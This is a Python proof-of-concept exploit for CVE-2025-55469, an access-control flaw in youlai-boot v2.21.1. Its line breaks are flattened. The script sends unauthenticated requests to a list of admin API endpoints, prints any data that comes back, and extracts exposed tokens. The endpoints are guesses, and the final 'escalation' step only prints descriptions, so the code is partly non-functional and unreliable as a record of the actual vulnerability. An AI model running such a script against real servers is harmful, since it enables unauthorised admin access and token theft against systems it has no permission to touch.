CVE-2025-55469 | youlai-boot v2.21.1 权限提升漏洞

import requests import json # CVE-2025-55469 PoC - youlai-boot Privilege Escalation # Target: youlai-boot v2.21.1 # Vulnerability: Incorrect Access Control leading to Admin Access TARGET_URL = "http://target-server.com" # Replace with target URL def exploit_privilege_escalation(): """ Exploit the privilege escalation vulnerability in youlai-boot This PoC demonstrates how an unauthenticated user can gain admin access """ # Step 1: Identify vulnerable endpoint (typically /api/admin/** endpoints) vulnerable_endpoints = [ "/api/admin/user/list", "/api/admin/system/config", "/api/admin/menu/permissions" ] # Step 2: Attempt to access admin endpoints without authentication # or with manipulated token for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{endpoint}" # Method 1: Direct access without auth token headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.get(url, headers=headers, timeout=10) # Check if we got admin access or sensitive information if response.status_code == 200: data = response.json() if "code" in data and data["code"] == 200: print(f"[!] VULNERABLE: {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}") # Step 3: Extract session/token if exposed if "data" in data: token = data.get("data", {}).get("token") if token: print(f"[+] Extracted Token: {token}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 4: Attempt privilege escalation with known admin endpoints # This simulates the actual attack chain escalation_payloads = [ { "method": "GET", "path": "/api/admin/user/current", "desc": "Get current user info (may reveal admin access)" }, { "method": "GET", "path": "/api/admin/role/list", "desc": "List all roles including admin roles" } ] print("\n[*] Attempting privilege escalation...") for payload in escalation_payloads: url = f"{TARGET_URL}{payload['path']}" print(f"[*] Testing: {payload['method']} {payload['path']}") print(f"[*] Description: {payload['desc']}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-55469 PoC - youlai-boot Privilege Escalation") print("CVSS Score: 9.8 (CRITICAL)") print("=" * 60) exploit_privilege_escalation()